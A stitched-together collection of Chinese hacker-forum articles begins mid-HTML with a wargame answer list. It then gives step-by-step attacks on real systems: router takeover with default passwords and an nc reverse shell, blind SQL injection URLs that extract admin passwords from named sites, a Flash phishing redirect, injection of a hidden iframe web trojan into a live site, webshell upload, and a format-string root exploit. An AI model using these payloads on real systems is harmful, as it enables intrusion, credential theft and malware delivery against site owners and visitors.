}
</script>
</body>
</html>
不新颖。看过这个加密的方法了？分析一下，不难得出密码是Testisover。这里要注意，大写的T是不用进入换算的，很多朋友算出Gestisover是不对的。
现在我们输入密码Testisover，终于出现：
第八关
恭喜，你已经完成全部关卡！
因此我们总结一下：
密码和页面就全部都出来了
1:http://www.my1314.com/testit/index.htm
1-2:http://www.xxiyy.net/
2:http://www.my1314.com/testit/test2.1207.htm
2-3:http://www.hackerbase.net/
3:http://www.my1314.com/testit/test3.1153.htm
3-4:20030927
4:http://www.my1314.com/testit/test4.1131.htm
4-5:12272003
5:http://www.my1314.com/testit/test5.1226.htm
5-6:mikespook
6:http://www.my1314.com/testit/test6.1231.htm
6-7:swill
7:http://www.my1314.com/testit/test7.2003.htm
7-8:BigBigWorld
8:http://www.my1314.com/testit/test8.1253.htm
8-9:Testisover
9:http://www.my1314.com/testit/test8.1253.htm


教你穿透ADSL路由入侵内网
也许看烂了网上已有的常规黑客攻击手段，对一些陈旧的入侵手法早已厌烦，近来我对ADSL MODEM的 路由功能产生了浓厚的兴趣，经过一番努力，我终于找到了穿透ADSL路由入侵内网的方法，在这里和各位一起分享我的心得
    一.扫描

   现在很多ADSL MODEM都是通过 80 23 21 三个端口来管理，但80 21端口有很多服务器都有打开，没怎么特征性，于是我选择了23端口，打开我的至爱：SUPPERSCAN，填上我所在地区的IP段，（跨多几段都没关系，反正SUPPERSCAN的速度就是快）眨眼间，结果出来了，开23的主机还真不小啊：）我挑了几台出来，在浏览器那里输入IP：218.xxx.xxx.xxx，OK。登陆对话框出来了，输入USER：ADSL pass:adsl1234（因为我这里的adsl modem一般是华硕的，缺省是adsl adsl1234）bingle 一矢中的，现在我就是上帝。
    二.映射

  入侵已经成功了一半，要进一步入侵内网，我门要进行端口映射，但是我连内网的拓扑，都不知道（更不用说内网主机的端口开放情况了）又怎么映射呢？在此，我选择了猜测。一般来说，MODEM的内网IP缺省是192.168.1.1，而大多数就把自己主机的IP设成192.168.1.2。因此我们只要试试把192。168。1。2的端口映射出来就行了（但如果使用了dhcp就麻烦了）但是192。168。1。2到底开放了什么端口，我们根本就不知道啊，呵呵，既然不知道，那么我就把他整台主机透明地映射到外网，具体做法如下：进入NAT选项---添加NAT规则---BAMID---填入主机IP：192。168。1。2，到此192。168。1。2已经透明地映射到192。168。1。1上了，我们访问ADSL MODEM就等于访问主机192。168。1。2了
    三。检测漏洞

   现在我们再请出SUPPERSCAN对218。xxx.xxx.xxx进行扫描，呵，看到没有？扫描结果已经不同了，开放的端口是139 1433等，刚才只是开放了80 23 21 而已（也就是说我们的映射已经成功了）该是X-SCAN出手了，用它来扫弱口令最好不过了，但扫描的结果令人失望，一个弱口令也没有，看来管理员还不算低B啊
    四。溢出

  既然没有弱口令，也没开80，那只好从逸出方面着手了，但没开80 21 也就webdav .sevr-u的溢出没戏了，很自然，我向导了RPC溢出，但实践证明RPC溢出也是不行的，LSASS溢出也不行
    五。募然回首，那人却在，灯火阑珊处

开来这管理员还是比较负责的，该打的补丁都打上了，这时侯，我的目光转移到1433上了（嘿，不知道他打了SQL补丁没有？，心动不如行动，现在只好死马当活马医了，于是
nc -v -l 99
sql2 218.xxx.xxx.xxx 0 218.xxx.xxx.xxx 99
bingle 成功地得到一个shell了
    六。设置后门

    到这里，我们的入侵已经成功了，余下的是扫尾留后门，至于后门，我一般都是用FTP上传RADMIN上去的，呵呵，这里不详谈了，相信各位都知道。
    在入侵过程中，我遇到了很多困难，希望各位安全爱好者多多指教，在此向各位给我帮助的朋友（唯我张狂）说声谢谢。


SQL injection攻击实例

信息来源：中国黑鹰联盟
文章作者：sniper
最近SQL injection攻击好象比较流行，看了安全天使写的一些文章再综合一些入侵过程中的经验决定写一篇文章来给菜鸟们说说
SQL injection攻击的一个大概过程。
SQL injection具体解释我不想多说了，具体看angel写的几篇文章。前几天帮QQ上的一个朋友“测试站点的安全”发现他用的尘缘雅境图文系统就存在着SQL injection漏洞，而且出错的信息也很有代表性，就以这个系统来做为例子吧~。
首先，在我们要对一个系统进行SQL injection攻击时我们不太可能知道数据库中保存密码的表和列等敏感数据（除非他开放源代码），所以我们就假设我们不知道对方的系统类型，把一次详细的攻击过程写出来。我在这个系统里搜集信息的时候发现这个页面很有趣：
http://211.91.*.*/gd/2/ReadNews.asp?NewsID=1
根据经验像这样*.asp？xx=* 的页面通常都存在漏洞，测试一下，递交这样的URL：
http://211.91.*.*/gd/2/ReadNews.asp?NewsID=1 and 1=1 //在后面跟一个等式（图一）
http://211.91.*.*/gd/2/ReadNews.asp?NewsID=1 and 1=2 //跟一个不等式（图二）
结果返回的页面是2个，如果后面跟的等式，会正确返回文章；如果后面跟的是一个不等式就会返回“无权限访问或无此内容”。其实存在这个漏洞的系统大部分都有这个特点：如果在页面的URL后面跟一个等式，一般会返回一个和没加等式前一样的页面给你；而如果是一个不等式，就会返回各种错误信息（这个就要自己去判断了，不过如果对方返回的是“请不要递交非法参数”，那么....：）
好了，我们现在来试试对方保存管理员帐号信息的表名，递交这样的URL：
http://211.91.*.*/gd/2/ReadNews.asp?NewsID=1 or 0<>(select count(*) from admin)
解释一下，我们猜数据库里有一个叫admin的表，结果页面正常显示，说明的确有个叫admin的表（图三）；如果返回了错误信息，那就是猜错了，把U.....from admin)中的admin换成其他的试试就是了。
再来试试看这个表中保存用户名的列叫什么：
http://211.91.*.*/gd/2/ReadNews.asp?NewsID=1 and 0<>(select count(*) from admin where username<>'')
这个URL的意思是试试admin表中是否有username这个列，也是返回了正常的文章页面，猜对了，呵呵~~~
http://211.91.*.*/gd/2/ReadNews.asp?NewsID=1 and 0<>(select count(*) from admin where password<>'')
试试admin表中是不是有password这个列，结果返回了一堆的错误信息，猜错了~再来：
http://211.91.*.*/gd/2/ReadNews.asp?NewsID=1 and 0<>(select count(*) from admin where passwd<>'')
看看表中保存密码的列名是不是passwd，结果返回正常显示的文章，猜对了~~
现在我们就得到了一些关键的信息了：数据库中有个admin表，管理员用户名保存在表中的username列，密码保存在passwd列。我们知道了这些信息就可以开始猜用户名和密码了。好了，我们继续~
http://211.91.*.*/gd/2/ReadNews.asp?NewsID=1 and 'sniper'=(select username from admin where username='sniper')
意思不用我说了吧，目的是测试admin表中的username列是否有一个叫sniper的管理员用户名，结果返回文章，说明有一个叫sniper的管理员。
如果猜错了，把URL中的sniper（2个sniper都要改）换成其他的用户名就是了。
再来看看密码的位数：
http://211.91.*.*/gd/2/ReadNews.asp?NewsID=1 and 'sniper'=(select username from admin where len(passwd)=1) //测试用户sniper的密码为一位，显示无权访问，再把密码位数调高试试~
http://211.91.*.*/gd/2/ReadNews.asp?NewsID=1 and 'sniper'=(select username from admin where len(passwd)=2) //测试用户sniper的密码为2位，又错了~结果一直到递交以下URL才成功：
http://211.91.*.*/gd/2/ReadNews.asp?NewsID=1 and 'sniper'=(select username from admin where len(passwd)=16) //正常显示页面，说明密码就是16位，试到这里我就开始怀疑密码是不是经过MD5加密的了，于是便没有继续猜下去，当然你也可以写个小程序来猜，我们已经得到了表名和列名，写个程序是很容易的了。
在其他的一些系统中密码并没有经过MD5加密，我们可以通过以下URL来试密码：
http://211.91.*.*/gd/2/ReadNews.asp?NewsID=1 and 'sniper'=(select username from admin where left(passwd,1)='1')
设密码第一位为1（记得要打单引号）
http://211.91.*.*/gd/2/ReadNews.asp?NewsID=1 and 'sniper'=(select username from admin where left(passwd,2)='1a')
设密码前2位为1a，看清楚了吗？left(passwd,x)='y' 中的x就是表示取密码的前几位，y就是你要试的密码。
在SQL injection攻击中还要注意哪些地方要打单引号，哪些不要，这个就看大家去试试了（这样才记的牢），因此强烈建议大家去下载一套尘缘雅境图文系统（我试的版本是2003.1出的）来实验，一些相关资料我会整理一下后固定在黑客X的论坛的雪候鸟版块。
到此为止，一次完整的SQL injection攻击就完成了，这种攻击方法比较麻烦，要耐着性子去猜，但是其作用不可小瞧，我就发现我们当地的电信和政府部门都有这个漏洞。写的很匆忙，有错误或不足的地方请各位指教。


配合本站发布的URL欺骗的方法一文特发此文：
测试论坛：第八军团论坛[只是测试一下页己，勿怪:)]
现在的论坛大多都允许发FLASH文件。
利用：
制作一个FLASH文件，在第一帧设置动作：
stop();
a="http://www.juntuan.net@%77%77%77%2E%67%78%67%6C%2E%63%6F%6D/%74%65%73%74/%6C%6F%67%69%6E%2E%70%68%70";
getURL(a);
输出为test.swf
制作一个页面逼真的论坛登录界面。把其和test.swf一起上传到自己的空间上。
我做好的swf文件存在
http://www.gxgl.com/test/test.swf
登录界面是
http://www.gxgl.com/test/login.php 声明：这个文件只是测试用，并未加上其它功能。
然后到第八军团论坛发表贴子。测试！
点击flash图标，填入http://www.gxgl.com/test/test.swf
然后找到这个贴子点击查看。
就会把浏览者指引到http://www.gxgl.com/test/login.php来了，而地址栏却仍是第八军团的地址。
浏览都会误以为本贴要登录才能查看，一般都会输入帐号信息登录。如果在这个文件加上存储功能，那么该浏览者的帐号信息就到手了。
-----------------------------------------------------------------
面对现在论坛的这个问题。可利用的还很多，只要你对javascript和AS熟悉，取管理员COOKIES，其它恶作剧等等都可轻易实现。
-------------------------------------本文仅供技术参考，任何以此作为非法窃取别人帐号的行为均与老兵无关，由此产生的后果自行负责。
-----------------------转贴请注明来处。谢谢！


试用榕哥新工具WIS和WED的一次注入实例
文章作者：EvilBogy

软件下载
http://www.netxeyes.com/wis.rar
http://www.netxeyes.com/wed.rar
正文：
网站http://gx/**.***.gov.cn（由于漏洞较多，估计一时无法通知修补，此处的URL做*号屏蔽处理。）存在SQL INJECTION漏洞，不过别问我怎么知道的啊，哈哈。不过这个站的表还真....XX的多，之前我用ASC竟然扫出2000多个表出来，真是晕。刚好看到榕哥出了新工具，当然马上就下来使用一下啦。
具体使用说明请参阅本站的
http://www.eviloctal.com/forum/read.php?fid=24&tid=1852&page=lastpost#lastatc

下面开始（两个工具都是命令行下使用的）
wed.exe http://gx/**.***.gov.cn/company/index.asp?id=189
这是我原来发现的存在漏洞页面，很快结果就出来了：
user is gx*****
pass is gx*****
呵呵又一个用户名和密码一样的。
WED.EXE功能主要是猜解用户名和密码，没什么好说的。
主要注意的就是工具自带的用户表名和密码表名以及用户字段名不是很详细，不在里面的就猜不出来了，这个就需要大家自己完善了。

WIS.EXE带有两个功能，都比较实用，分别是针对网站检查存在可以注入的页面否和检测后台登陆页面的地址。
wis.exe http://gx/**.***.gov.cn/
等待一下，结果出来了：
injection page final result:
/syjh/search.asp?sortid=1
/spzs/search.asp?sortid=1
/spzs/exhibition.asp?gsid=621
/qyml/search.asp?sortid=28
/spzs/show_product.asp?id=510
找到了5个程序认为可以注入的页面。
（不过我逐一试了，结果都是不成功，在猜密码的时候失败，估计是程序自带的表名没有符合该网站的。）

上面一开始的时候我们获得了一个用户名和密码，下面我们找后台管理页面登陆一下试试。
wis.exe http://gx/**.***.gov.cn/ /a（注意这里后面要加参数 /a）
漫长的等待 扫描ing.............算了还是手动吧
一般网站都有一个登陆的地方，你登陆后一般都可以看到登陆的地址了，有些网站是在你退出的时候浏览器下面的状态栏那里会出现一下。要眼明手快哦。
在首页处登陆成功，这时地址是http://gx/**.***.gov.cn/manage/index.asp呵呵，看到了吧。还有一个是http://gx/**.***.gov.cn/login/login.asp两个地址都是指向一样的页面。
看来WIS自带的路径还是太少啊。手动添加进去吧，打开admin文档，加入manage/index 和login/login 保存。
hehe,不过实际上网站管理后台的URL是http://gx/**.***.gov.cn/admin/login.asp

因为是试用举例，所以也就没有深入去进管理后台，到这里就可以了。

试用结论：
不愧是榕哥出品，真的很好用的两个工具，可以想象又将掀起一轮ASP注入的浪潮。不足的地方就是工具自带的dict内容太少了，有一定的局限，需要大家自己补充咯。

兼于是命令行界面下的程序，有时手工输入URL实在是烦，这里提供一个小TIPS.....................那就是...................编辑一个bat文件啦....哈哈~~

2004-09-04


劫持数据库，实现跨站攻击

软件作者：llikz

(已发表到黑防第4期)

我们都知道，所谓跨站攻击，就是程序对用户输入的数据缺少充分过滤，当网站浏览者浏览信息时，被输入的恶意脚本就会被执行，这可能是插入一端文字，可能是偷取浏览者cookie信息的java脚本，更有甚着是一段利用IE漏洞的网页木马代码。这种攻击方法与得到webshell后插入木马代码要实现起来要简单容易的多，当然这种方法也有它的缺点，这个我们一会讨论。先说实现跨站攻击的前提条件，当然是网页中要存在输入信息过滤不严的地方。在某些大型的非互交型的网站中，这种输入点一般不好找，所以直接从表面入手相当棘手。
我们换个角度考虑，如果这个网站存在sql注入点的话，结果就不同了。我这里说的数据库是针对MSSQL数据库的（当然对mysql等数据库同时有效，不过处理起来有点困难）利用的还是让人厌烦的但却是很有效的SQL注入漏洞，不过不需要admin权限，只要有 Update权限就够了，一般Db_owner就有这个权限。我们直接修改数据库中的的信息，使得asp程序在调用数据库时，将修改后的网页木马的代码显示在网页中。下面我就用个例子展示一下攻击过程。
在浏览台湾橘子站点： http://www.gamania.com/ 的时候，发现了这个地方可以注入：
 http://fateasia.gamania.com/turtle/index.asp?sid=E00001 心中一阵窃喜。像这样的大站也能注入，于是抱着侥幸的心理拿出看家工具NBSI走一走，猜解出如下信息：

权限是Db_Woner要想得到webshell首当其冲的方法是通过Db_Woner的备份权限得到.不过这种方法我在很多网站上都试过了，尤其是大型网站，数据库是相当庞大的，这种方法成功率并不高（至少我一次都没有成功过，毕竟自己技术有限，呵呵）成功不成功试试再说，先用读注册表的方法得到web物理路径：

具体方法，前期黑防都有的介绍，我就不在唠叨一遍拉。拿到路径后当然就是backupwebshell了。

由于我没有看过cyf的这个工具是如何对int型和字符型数据的判断，所以在Url中参数中加了个’，认为是对整型数据的注入。下面我们看看结果如何：

失败，看来常规的攻击不会有什么新的突破，还是另谋他法了。
后来我仔细看了看这个占卜的网页，看到如下信息：

哦，原来是和 http://www.fatesia.com/ 合作建的站，先ping一下着两个站点：

看到没，是在一个服务器上的。看看打开这个站点看一下:

恩，做的不错啊，网站也挺大的，呵呵，小样别以为你打，咱们就不敢整你了，瞧着，在网站溜个一圈，同样存在注入点，更可惜的是这个站使用的数据库和 http://fateasia.gamania.com/ 是同一个数据库：

看来，这个才是主站：
看看咱们backup的木马在这个站上吗：
 http://www.fateasia.com/asp.asp 返回404错误，看来也不行，郁闷。
此时忽然想到，既然不能直接得到webshell,那我们有没有可能在不得到shell的前提下挂上网页木马或者是跨站攻击脚本呢？因为我们对这个站点的数据库已经有了操作权限了，这在理论上绝对是可行的，兴奋啊，对啊，直接操作数据库跨站攻击的确是个应用特别广泛的方法。使得某些人花费九牛二虎之力弄得个shell才把木马给挂上去，费时又费力。
着只是我的思路而已，我们亲手实践一下看看能成功吗。
首先要找到asp中的调用数据库的地方，一般动态变化的信息都是对数据库的调用。
我们选择个最明显的地方，（具体的选取，要靠平时大家的经验了，一般经常更新的地方都回调用数据库里的信息）。如下：

这个地方走动的红色文字，应该调用的是据库里的信息。
查看源代码看看：

我选中的字体大家要看清楚了，由于我们有装繁体字库，将选中的字体粘贴到一个本地网页文件里打开，在查看|编码|中选繁体中文：得到如下信息：

好了，我们就在数据库中查找这个信息，由于数据库相当大，我得花费相当长的时间去查找，
工夫不付有心人，终于在数据库中我把着条信息给揪了出来：

在NB中虽然显示的是乱骂，我把这段文字用IE打开看看：

呵呵，和网页中显示的一模一样，看来就是这个地方了，为了证实一下，我update一下数据库里这个字段里的内容：使用如下命令：
 http://www.fateasia.com/fate.asp?sid=H00050 ';update runtext set runtext=’acked by llikz ( http://www.hacker.com.cn/ )’;--
再刷新一下网页看看：

看到了吗，我们已经成功更新了它的数据库里的信息，如此简单的一句话就把这个网站的首页给改掉了，的确感到很有成就感。下面我们就要试着想数据库里注入恶意代码了，我选择了一个网页木马：
 http://www.fateasia.com/fate.asp?sid=H00050 ';update runtext set runtext=’test!!</a></font></marquee><iframe src=http://www.hacker.com.cn/muma.htm width=0 height=0 frameborder=0 ></iframe>’;--
看看结果：

成功了，再来看看源代码：

哈哈，的确把恶意脚本插入到了网页中。攻击成功，太令人兴奋了，无须得到webshell，一个的网页木马已经被植入网页中。
这里要提醒大家，在找到调用的地方后注入恶意代码时，要想让植入网页的脚本执行，一定要闭合前面的html标记，在以上我的注入中
 http://www.fateasia.com/fate.asp?sid=H00050 ';update runtext set runtext=’test!!</a></font></marquee><iframe src=http://www.hacker.com.cn/muma.htm width=0 height=0 frameborder=0 ></iframe>’;--
其中的</a></font></marquee>就是为了闭合前面的着几个标记，似的闭合后下面的<iframe src=http://www.hacker.com.cn/muma.htm width=0 height=0 frameborder=0 ></iframe>可以被浏览器解释执行。大家在具体的使用中要灵活运用，对于注入的文字中含有单引号要使用两个单引号来代替。
我还要提醒大家，在利用这种方法的时候，一定要确保你的注入语句的正确性，要不非但不会成功，反而可能对数据库造成破坏，利用的时候要谨慎。切记。
说到着里，虽然这个方法，在实现上已经没有什么问题了，但他还是有缺点的，第一，这种方法生成的网页木马隐蔽性不是很好，第二，在插入代码后，可能会引起网页显示格式的变化。着一点也是它最大的缺点。如果你有更好的隐藏代码而不改变显示布局的方法，一定要告诉我啊, 给我QQ留言，共同探讨:66734111。
最后把文字给修改回去，不过插入的木马还留在里面，可惜了 http://www.hacker.com.cn/muma.htm 是个不存在的网页，再次跪求黑防的同志们给俺把马给装上，不枉俺把马地址写到你们网站上。呵呵。


从挖掘“站长之家”注入点到搞定WebShell一路狂奔
信息来源：黑客防线 http://www.hacker.com.cn/
某日，为了找个免费的asp.net空间我转悠到了站长之家http://www.yisou8.com/，令人失望的是几条asp.net空间信息根本就没法用，浪费了偶的注册时间，怎“郁闷”两字了得？！
于是，我决定帮忙监测一下网站有没有洞洞？很失望啊，很失望，在网站首页的所有潜在注入点都“试射”了一遍，没有发现一个可以利用的。郁闷之际，看到“美女图库”分栏目，决定进取看看MM图片休闲一下。

一、挖掘注入点

习惯性的再加个单引号http://www.yisou8.com/sucai/index.asp?catid=4'，这次又有了新的发现，幸亏我观察得仔细啊，两次返回的图片不一样，大家看看两次的图片对比。
当提交第一个网址的时候，返回正常页面，提交第二个网址的时候返回另一个页面的信息，这就说明http://www.yisou8.com/sucai/index.asp?catid=4这个脚本存在SQL注入的漏洞。虽然找到了注入点，但是都是些这么大的图片，返回的信息太慢，于是我决定继续找找看看。打开他的评论看看，是个无框窗口，把地址隐藏了，我们按“Ctrl+N”，地址已经暴漏了http://www.yisou8.com/sucai/review.asp?id=3256，这次直接用and 1=1试试http://www.yisou8.com/sucai/review.asp?id=3256 and 1=1
 http://www.yisou8.com/sucai/review.asp?id=3256 and 1=2
第一次正常，第二次空白了，哈哈，找到了理想的注入点，那我们看看他是什么类型的数据库。http://www.yisou8.com/sucai/review.asp?id=3256 and exists (select * from sysobjects)返回空白，说明不存在系统表sysobjects，如果存在就是MSSQL数据库，如果不存在一般就是ACCESS数据库了。很失望啊，看来得到WebShell比较困难啊，毕竟ACCESS比MSSQL的功能少，麻烦ing。

二、猜测表名、字段名、字段值

通过下面语句来猜解表名http://www.yisou8.com/sucai/review.asp?id=3256 and exists (select * from admin)返回正常页面，说明表名正确。通过下面语句来猜解字段名。
http://www.yisou8.com/sucai/review.asp?id=3256 and exists (select admin from admin)
 http://www.yisou8.com/sucai/review.asp?id=3256 and exists (select password from admin)
 http://www.yisou8.com/sucai/review.asp?id=3256 and exists (select id from admin)
比较顺利，除了admin字段猜了两次username和user外，其他一猜即中。下面的过程是来猜测id的，高手一看即懂。
http://www.yisou8.com/sucai/review.asp?id=3256 and exists (select id from admin where ID between 1000 and 3255)
 http://www.yisou8.com/sucai/review.asp?id=3256 and exists (select id from admin where ID between 1000 and 3256)
猜测到id居然就是review.asp?id=3256这个id=3256!检测admin值。
http://www.yisou8.com/sucai/review.asp?id=3256 and exists (select id from admin where len(admin)=5 and ID=3256)
 http://www.yisou8.com/sucai/review.asp?id=3256 and exists (select id from admin where asc(mid(admin,1,1))=97 and ID=3256)
第一个字母是’a’，根据经验，一般字段名就是admin，试一下
http://www.yisou8.com/sucai/review.asp?id=3256 and exists (select id from admin where admin='admin' and ID=3256)
正确，猜出字段名admin的值就是“admin”
猜密码值：
http://www.yisou8.com/sucai/review.asp?id=3256 and exists (select id from admin where len(password)=12 and ID=3256)
 http://www.yisou8.com/sucai/review.asp?id=3256 and exists (select id from admin where asc(mid(admin,1,1))=97 and ID=3256)
 http://www.yisou8.com/sucai/review.asp?id=3256 and exists (select id from admin where asc(mid(password,1,1))>114 and ID=3256)
 http://www.yisou8.com/sucai/review.asp?id=3256 and exists (select id from admin where asc(mid(password,1,1))>115 and ID=3256)
最后猜出admin内容是admin，password内容是smrtanujf888
找到后台http://www.yisou8.com/sucai/admin/login.asp
进去看看。
很遗憾，试了几个地方插入
<%if request(swords)<> then Session(sw)=request(swords)
if Session(sw)<> then execute Session(sw)%>
没有找到可以得到WebShell的地方, 看来是没有办法了，于是回到首页继续逛。一看是动易2005程序，想使得到的密码试一下，居然没有找到后台，@#$%^&*防范得很好，把后台登录地址改了！！痛苦失望流鼻涕中。
惊鸿一瞥啊，我发现最右侧还有个论坛，一看动网的dvbbs7.1.0，《dvbbs7.1照样从后台得到WebShell》刚在八进制论坛看到的！马上一试！
把dvbbsToshell.gif(一个数据库了：里面插入了加密的asp后门，已经放在光盘)选择在发表帖子的那个地方上传。因为这个地方不会检查文gif的特征码。(不要选择在头像上传的地方上传啊。)
记录下上传后的地址UploadFile/2005-7/200571212261232654.gif，点击“管理“到后台，执行数据库备份。
恢复成shell.asp。
执行后门http://bbs.yisou8.com/Databackup/shell.asp。
写入新的后门http://www.yisou8.com/shell2.asp测试下功能，完成。
后记：关键是注入点的挖掘和灵活的运用已知的漏洞，over！写完后也是我通知管理员的时候了！


[转载]Small buffer format string attack

文章作者： szoahc@hotmail.com

=======================================================================================
Title: Small buffer format string attack

Author : dong-hun you (Xpl017Elz) in INetCop < szoahc@hotmail.com >
Home: http://x82.inetcop.org & http://x82.i21c.net

Rough English Translation by KF < dotslash@snosoft.com >
Home: http://www.snosoft.com & http://www.secnetops.biz

Greets: INetCop, KF, Snosoft
=======================================================================================

0x00. Overview
0x01. Training
0x02. Small buffer format string attack

0x00. Overview

There are several documents currently on the internet that describe format string attacks.
This document will explain a simple method that you can use when you are exploiting a format
string with limited buffer space.

0x01. Training

The following code contains an exploitable heap based format string vulnerability.
In order to understand the following text, you must be aware of the `$-flag' style format string.

--- test1.c ----------------------------------------------------------------------
int main(int argc, char *argv[])
{
char *x=(char *)malloc(40);
strncpy(x,argv[1],40);
printf(x);
printf("\n");
}
----------------------------------------------------------------------------------

$ ./vuln %x%x%x
8049770bfffdb68400311eb
$

0x08049770 is a heap variable address that was declared through malloc.
This variable stores the "user input" for example "%x%x%x".

$ gdb -q vuln
(gdb) br *main+70
Breakpoint 1 at 0x804847e
(gdb) r %x%x%x
Starting program: /tmp/vuln %x%x%x
8049770bfffdb68400311eb

Breakpoint 1, 0x804847e in main ()
(gdb) x/8 0x08049770
0x8049770: 0x78257825 0x00007825 0x00000000 0x00000000
0x8049780: 0x00000000 0x00000000 0x00000000 0x00000000
(gdb)

If that variable is stored on the heap exploitation becomes more difficult.
The reason is because the format string "%x" can not easily find an address
in the heap. However, if the inputed data is stored to stack, it's easy to find.
In our example the "user input" is stored on the stack. We can confirm this if we
analyze further. You will notice the string is near the environment variables that
were loaded by the shell.

...
0xbfffdc97: "i586"
0xbfffdc9c: "/tmp/vuln"
0xbfffdca6: "%x%x%x" <- here.
0xbfffdcad: "LESSOPEN=|lesspipe.sh %s"
0xbfffdcc7: "QT_HANFONT=-*-kodig-medium-r-normal--12-*-ksc5601.1987-0,-*-kodig-medium-r-normal--14-*-ksc5601.1987-0,-*-kodig-medium-r-normal--16-*-ksc5601.1987-0,-*-kodig-medium-r-normal--18-*-ksc5601.1987-0,-*-ko"...
(gdb)
0xbfffdd8f: "dig-medium-r-normal--20-*-ksc5601.1987-0,-*-kodig-medium-r-normal--24-*-ksc5601.1987-0"
0xbfffdde6: "QT_KEYBOARD=2"
0xbfffddf4: "HISTSIZE=1000"
...

As you can see we are able to find "%x%x%x".
We need to store retloc's value at 0xbfffdca6, then we can reach it through $-flag or "%8x%8x%8x%8x..".
So, even if the contents of the above mentioned variable are stored to heap, we can still manage to exploit the problem.
The position of address value you need to refer to can be guessed or you can find it by doing the following.

$ ./vuln AAAA%88\$x%89\$x%90\$x
AAAA414141412438382539382578
$ gdb -q vuln
(gdb) disass printf
Dump of assembler code for function printf:
0x8048364 <printf>: jmp *0x8049510
0x804836a <printf+6>: push $0x20
0x804836f <printf+11>: jmp 0x8048314 <_init+48>
End of assembler dump.
(gdb)

If you do testing in gdb, in some cases the addresses are different from if you only ran from the shell prompt.
Either way, you could test your final format code as following.

$ gdb -q vuln
(gdb) r `printf "\x10\x95\x04\x08\x12\x95\x04\x08"`%16697x%91\$hn%00257x%90\$hnAA
Starting program: /tmp/vuln `printf "\x10\x95\x04\x08\x12\x95\x04\x08"`%16697x%91\$hn%00257x%90\$hnAA

...

Program received signal SIGSEGV, Segmentation fault.
0x41414242 in ?? ()
(gdb)

The Value that caused 0x4141 is %16697x (decimal). This value is first stored at 0x08049512.
And then, the value 0x4242 is stored %257x at 0x08049510.
Using this method we store the value 0x41414242 in GOT.

Above, we used the $-flag to find our "user input".
One problem I failed to mention was that we are working with a small buffer and we do not have room for our shellcode,
How does it do exploit?

0x02. Small buffer format string attack

First, let's understand how a format string can find an address.
This may be simple information that you know already.

int main()
{
char string[]="It's test!";
char format_str[]="\x41\x41\x41\x41%s\n";
printf(format_str);
}

0x41414141 should store the address value that points to where the variable string[] is allocated.
Through gdb, can confirm that string is to 0x8048470.

(gdb) x/s 0x8048470
0x8048470 <_IO_stdin_used+4>: "It's test!"
(gdb)

Let's substitute this address in the above sample code by writing a simple patch.

$ cat > patch
--- test.c Tue Jun 3 20:47:51 2003
+++ test.patch.c Tue Jun 3 20:48:02 2003
@@ -1,6 +1,6 @@
int main()
{
char string[]="It's test!";
- char format_str[]="\x41\x41\x41\x41%s\n";
+ char format_str[]="\x70\x84\x04\x08%s\n";
printf(format_str);
}
^C
$ patch < patch
patching file `test.c'
$ gcc -o test test.c && ./test
It's test!
$

When the '%s' format string is applied to the address 0x08048470 it would display the contents of that address.
An attacker would rather change a memory address by using (%hn or %n) to GOT, .dtors, or a specific return address.

As we already showed, if attacker's input exists on the stack it can be reached through a format string like `$-flag'
or `%8x'.

If the proper return address is stored on the stack, you may not need to put your own return address value in front
of the format string. In other words your own GOT, .dtors, return address (short size 8byte, general size 16byte, long
size 32byte) that is usually placed in front of the format string may not needed.

As an attacker you might ask if the value that you use for your own return address can point to anywhere?
For local exploits one approach is to use environment variables to store the address. With values stored in the
environment you can simply reference them via the `$-flag'.

When attacking one other thing you need to know is the conversion for your shellcode address into decimal.

To finish us I will talk about the small buffer space I mentioned above. The buffer space is only 30bytes.

Hmmm ... Instead of placing the return address in an environment variable you can also place it in arguments of the
program. If the format string is placed in argument 0 it will be stored on the stack and it will be stored closer in
distance to the general environment variables. This can be useful in small buffer space.

First we will try the exploit using an environment variable.
After execute eggshell,

# ./eggshell

Using shellcode address: 0xbffff9a8

bash# export A=`perl -e 'print "\x10\x95\x04\x08\x12\x95\x04\x08"x20'`

Stored GOT address in environment variable of `A'.

bash# gdb -q vuln
(gdb) r %49151x%261\$hn%15641x%262\$hn
Starting program: /tmp/vuln %49151x%261\$hn%15641x%262\$hn

...
Program received signal SIGTRAP, Trace/breakpoint trap.
0x40001780 in _start () at rtld.c:142
142 rtld.c: No such file or directory.
(gdb) c
Continuing.
bash# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
bash# exit
exit

Program exited normally.
(gdb) q
bash#

You can also as stated above add the return address with the format string.
This time we try the exploit through an argument rather than an environment variable.

bash-2.04# cat test.c
main() {
execl("./vuln","\xb8\x95\x04\x08\xba\x95\x04\x08","%49151x%97$hn%14775x%96$hn",0);
}
bash-2.04# ./test
...
...
...
sh-2.04#

WoW, by Inserting the GOT address code to the first `argument 0th' included with the (%96$x%97$x)
the minimum dimensions of assailable buffer space becomes 26 bytes.

Based on this proof show above, format string exploits are possible in a minimum of 26 bytes of buffer
space. If this occurs in a remote environment, or don't store value in environment variable,
you may make use of the stack that is used by the program. (For example, program that require user's
input)

I prepared some exploit code so that you can exploit this conveniently on Linux (My box runs RedHat).
One method is to use an environment variable, and the other method is to use an argument.
Both methods, can exploit in small buffer environment that is fewer than 30 bytes.

Usage example: --

[root@xpl017elz /tmp]# chmod 6755 vuln
[root@xpl017elz /tmp]# su x82
[x82@xpl017elz /tmp]$ ./0x82-sfmt_xpl

Proof of Concept 26byte small buffer format string exploit.

[+] GOT (printf) address: 0x8049510
[+] Shellcode address: 0xbfffffb7
[+] Attack mode: Environment variable.
[+] flag and pad brute-force mode:
........................................................................


[转载]Using Process Infection to Bypass Windows Software Firewalls

信息来源：飞客杂志

-[0x00] :: Table Of Contents ---------------------------------------------

[0x01] introduction
[0x02] how software firewalls work
[0x03] process Infection without external .dll
[0x04] problems of implementation
[0x05] how to implement it
[0x06] limits of this implementation
[0x07] workaround: another infection method
[0x08] conclusion
[0x09] last words

[0x0A] references

[0x0B] injector source code
[0x0C] Tiny bypass source code
[0x0D] binaries (base64)

-[0x01] :: introduction --------------------------------------------------

This entire document refers to a feature of software firewalls
available for Windows OS, which is called "outbound detection".
This feature has nothing to do with the original idea of a
firewall, blocking incomming packets from the net: The outbound
detection mechanism is ment to protect the user from malicious
programs that run on his own computer - programs attempting to
communicate with a remote host on the Internet and thereby
leaking sensible information. In general, the outbound detection
controls the communication of local applications with the
Internet.

In a world with an increasing number of trojan horses, worms
and virii spreading in the wild, this is actually a very handy
feature and certainly, it is of good use. However, ever since
I know about software firewalls, I have been wondering whether
